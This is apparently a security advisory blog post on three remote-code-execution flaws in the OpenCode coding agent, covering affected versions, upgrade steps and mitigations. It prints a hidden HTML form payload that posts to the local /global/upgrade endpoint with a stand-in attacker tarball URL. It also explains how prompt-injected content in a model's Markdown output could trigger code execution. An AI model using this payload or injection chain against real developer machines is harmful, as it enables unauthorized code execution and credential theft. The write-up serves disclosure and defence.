TL;DR: OpenCode has patched three separate remote-code-execution paths in 2026. If you installed via npm, pnpm, or Bun and run anything below 1.18.22, upgrade now — the September advisory (patched Aug 24, disclosed Sep 24, 2026) lets a malicious webpage install an attacker’s npm package through the /global/upgrade endpoint. The two January CVEs (22812 and 22813) have been fixed since 1.0.216 and 1.1.10, but January reporting counted 220,000+ OpenCode servers reachable from the public internet, so old versions are still out there taking requests.

	CVE-2026-22812	CVE-2026-22813	GHSA-632h-h47v-g4x4 (no CVE)
Severity	CVSS 8.8 (High)	CVSS 9.4 (Critical)	CVSS 7.5 (High)
Attack	Unauthenticated HTTP server executes shell commands	XSS in Markdown renderer → /pty/ endpoints → RCE	Cross-origin request installs arbitrary npm package
Affected	< 1.0.216	< 1.1.10	1.14.30 – 1.18.16, npm/pnpm/Bun installs only
Fixed in	1.0.216	1.1.10	1.18.22 (Aug 24, 2026)
Disclosed	Jan 12, 2026	Jan 12, 2026	Sep 24, 2026

Honest take: Run opencode --version right now. If it prints anything below 1.18.22, stop reading and upgrade first — the current release is 1.18.34 (Sep 30, 2026) and the upgrade takes under a minute. Then come back for what these three bugs say about every localhost-server coding agent you run, not just OpenCode.

How do I check whether my OpenCode install is vulnerable?

One command answers it:

$ opencode --version
1.18.34

Read the number against three lines:

• Below 1.0.216 — exposed to all three bugs, including unauthenticated shell execution from any website you visit (CVE-2026-22812). Treat the machine as potentially compromised, not just the install.
• Below 1.1.10 — still exposed to the critical XSS-to-RCE chain (CVE-2026-22813, CVSS 9.4).
• 1.14.30 through 1.18.21 via npm/pnpm/Bun — exposed to the September upgrade-endpoint bug if you run opencode serve. The GitHub advisory lists 1.14.30–1.18.16 as affected and 1.18.22 as the patched release; treat everything below 1.18.22 as unsafe.

Installs via the curl script, Homebrew, Chocolatey, or Scoop are not affected by the September bug — it abuses npm’s package-install machinery specifically. The two January CVEs applied regardless of install method.

Upgrading from npm:

$ npm install -g opencode-ai@latest

Binary installs can use OpenCode’s built-in updater — ironically the same machinery the September bug abused, which is now locked down to semantic-version targets only.

What is CVE-2026-22812, the unauthenticated HTTP server RCE?

Before version 1.0.216, OpenCode automatically started a local HTTP server on port 4096 with no authentication and a permissive CORS policy. Three endpoints were reachable without any credential: one that executes shell commands, one that spawns interactive terminals, and one that reads arbitrary files. Any local process — or any website open in your browser, via cross-origin requests to localhost:4096 — could run shell commands with your user privileges. The advisory (GHSA-vxw4-wv6m-9hhh) files it under CWE-306, missing authentication for a critical function.

The part that should bother you: this wasn’t a subtle memory-corruption bug. The server was designed to execute commands; it just never checked who was asking. A visit to the wrong webpage while OpenCode idled in the background was sufficient. The researcher who reported it (credited as CyberShadow) initially disclosed it in November 2025; the fix shipped in 1.0.216, which added a startup-generated auth token that every request must carry, plus CORS restrictions.

January coverage of the two CVEs reported more than 220,000 OpenCode instances reachable from the public internet — developers running opencode serve on cloud VMs and dev containers with forwarded ports, not just localhost. “It only listens on localhost” was already a weak defense given the CORS hole; for those instances it wasn’t even true.

What is CVE-2026-22813, the XSS-to-RCE chain?

CVE-2026-22813 (CVSS 9.4, the most severe of the three) chained three weaknesses in OpenCode’s web UI before 1.1.10:

1. The Markdown renderer displayed chat content without sanitization and without a Content-Security-Policy, so HTML and JavaScript inside a model response rendered live.
2. The web UI accepted a ?url= query parameter that pointed it at a different OpenCode server — meaning an attacker could host a poisoned session and hand you a link that loads it inside your local UI’s origin.
3. JavaScript running on the localhost:4096 origin could call the /pty/ endpoints, which spawn arbitrary processes.

Chain them and a single clicked link becomes code execution on your machine. The 1.1.10 fix disabled the ?url= override server-side, and the local server stopped being something every install silently ran.

This is the one to remember conceptually, because the injection point is the LLM’s own output. Anything that influences what the model says — a malicious README in a repo you opened, a crafted docstring, a poisoned comment pulled into context — could carry the payload. We’ve covered prompt injection turning agent tools against you (agentjacking via Sentry data) and agent memory being poisoned (MemGhost). CVE-2026-22813 was the first confirmed case in a mainstream coding agent where simply rendering the model’s Markdown was the exploit surface. Every coding tool with a chat pane renders model output; most now sanitize it, and this CVE is the reason auditors started asking.

What happened in September 2026 — the upgrade-endpoint bug?

On September 24, 2026, Datadog Security Labs published research (reporter: christophetd) on a third RCE path, tracked as GHSA-632h-h47v-g4x4 with no CVE assigned. The /global/upgrade endpoint of opencode serve parsed request bodies as JSON without validating the Content-Type header. That one omission re-opened the cross-origin door that the January fixes had closed: browsers happily send text/plain form posts cross-origin without a CORS preflight, so a malicious webpage could submit a hidden form like this to your local server:

<form method="POST" enctype="text/plain"
      action="http://127.0.0.1:4096/global/upgrade">
  <input type="hidden"
         name='{"target":"http://ATTACKER/malicious.tgz","x":"'
         value='"}'>
</form>

The endpoint accepted an arbitrary URL as the upgrade target, downloaded the attacker’s tarball, and installed it through npm — whose preinstall script runs code immediately. Auth tokens didn’t fully save you either: if you’d previously authenticated to the server with HTTP Basic credentials, the browser replays them.

Exploitation required a specific setup — opencode serve running, an npm/pnpm/Bun install, and a visit to an attacker’s page — which is why it scored 7.5 rather than 9+. But the exposure window was real: Datadog counted 647,000+ downloads of the 82 vulnerable versions in a single week (Sep 17–23, 2026), three weeks after the patch had shipped. The fix in 1.18.22 (released Aug 24) restricts upgrade targets to semantic versions, enforces strict JSON content-type validation, validates Origin headers, and rejects bodyless requests.

The timeline is the model-citizen version of disclosure: reported Aug 11, patched Aug 24, public Sep 24. The problem is on the user side — those 647k downloads show how many installs float weeks behind on a tool whose patch notes rarely say “RCE fix” in bold.

What if you can’t upgrade right now?

Upgrade anyway — it’s a one-line command and 1.18.34 is a drop-in replacement. But if you’re pinned to an old version by a CI image or a team lockfile today:

• Don’t run opencode serve on anything below 1.18.22. The TUI without the serve mode is not the exposed surface for the September bug.
• Firewall port 4096 to localhost, and audit whether your cloud VM or devcontainer forwards it. The 220,000 internet-exposed instances from January were mostly this misconfiguration.
• Don’t open untrusted repos in a pre-1.1.10 web UI — a poisoned Markdown payload in model output was a working RCE vector there.
• Check install provenance in CI: if your pipeline does npm i -g opencode-ai without a version pin, confirm what actually resolved. Pin ≥1.18.22.

One real-world gotcha we hit while verifying this article: opencode --version and the npm-registry latest can disagree if you have both a Homebrew binary and an npm global install on the same machine — which opencode tells you which one your shell actually runs. Patching the one you don’t execute is a classic way to stay vulnerable while believing you’re safe.

What does this mean for AI coding agents generally?

OpenCode is not an outlier; it’s the best-documented case of a pattern. Nearly every agentic coding tool now ships a localhost HTTP server — for IDE extensions, web UIs, mobile companions, or inter-process control. Each of 2026’s attacks in this space broke a different trust boundary: a CVE in Amazon Q Developer’s MCP handling auto-executed on clone, GhostApproval slipped file writes past approval UIs with symlinks, evil-twin extensions poisoned the supply chain. OpenCode’s trio adds the localhost server itself as the boundary that keeps failing — authentication (22812), output rendering (22813), and content-type validation (the September bug) are three different ways the same server trusted the wrong caller.

Two practical conclusions. First, a browser on the same machine as an agent server is an attack path, full stop — CORS, preflights, and text/plain forms are details attackers know better than tool authors. Second, open source is working as advertised here: all three bugs were found by outside researchers reading reachable code, patched in days, and disclosed with full write-ups. Our OpenCode review still stands — and if you’re choosing between agents, Kilo Code vs OpenCode vs Cline weighs more than security posture. A fourth-month-old closed tool with the same bug class would simply still have it.

If your threat model after reading this is “I don’t want model traffic or tool servers touching the network at all,” the air-gap option is a local model behind Ollama — hardware sizing lives at runaihome.com’s VRAM guide, and aifoss.dev’s Ollama review covers the server side. Note the limits of that move: local inference removes the cloud dependency, but OpenCode’s three bugs lived in the tool, not the model API. You still have to patch.

FAQ

Is OpenCode safe to use in October 2026? Yes, on current versions. 1.18.34 (Sep 30, 2026) carries fixes for all three disclosed RCE paths. The risk today is old installs, not the current release.

Was either January CVE exploited in the wild? Public proof-of-concept code exists for CVE-2026-22812 (including GitHub PoC repos), and 220,000+ instances were reported internet-reachable in January. No confirmed mass exploitation has been published for either CVE as of Oct 1, 2026 — but unauthenticated localhost RCE with a public PoC is exactly the class of bug that gets sprayed, and absence of a headline is not absence of compromise.

Why does the September bug have no CVE number? The vendor chose not to request one, per Datadog’s write-up. That’s worth knowing operationally: scanners keying only on CVE feeds will miss it. Track GitHub Security Advisories (GHSA-632h-h47v-g4x4) for tools you run.

Does this affect OpenCode installed via Homebrew or the curl script? The September upgrade-endpoint bug: no — only npm, pnpm, and Bun installs. The two January CVEs applied to all install methods below the patched versions.

I ran a vulnerable version for months. What should I check? Shell history you don’t recognize, new npm packages in your global prefix (npm ls -g --depth=0), and unexpected processes spawned around browser sessions. For the paranoid case, rotate credentials that were readable from your home directory — the 22812-era file-read endpoint had user-level access.

Sources

• GHSA-vxw4-wv6m-9hhh — Unauthenticated HTTP Server Allows Arbitrary Command Execution (CVE-2026-22812) — GitHub Security Advisory
• GHSA-c83v-7274-4vgp — Malicious website can execute commands through XSS in the OpenCode web UI (CVE-2026-22813) — GitHub Security Advisory
• GHSA-632h-h47v-g4x4 — Cross-site OpenCode server upgrade request can install arbitrary packages — GitHub Security Advisory
• The vulnerability that let one HTTP request compromise OpenCode — Datadog Security Labs, Sep 24, 2026
• Two cases of unauthenticated RCE and RCE via XSS, over 220,000 instances exposed in OpenCode — lilting.ch, Jan 2026
• OpenCode vulnerability allowed unauthenticated code execution on users’ machines — iSec News, Jan 12, 2026
• OpenCode releases — GitHub (v1.18.34, Sep 30, 2026)

Last verified October 1, 2026. Versions and advisories change; check opencode --version against the GitHub Security Advisories page before relying on this table.

Know which coding tool is worth paying for

Hands-on comparisons of AI coding assistants and what each one costs to run — including the local-model path. Sent only when something changes. Unsubscribe anytime.

Email address Subscribe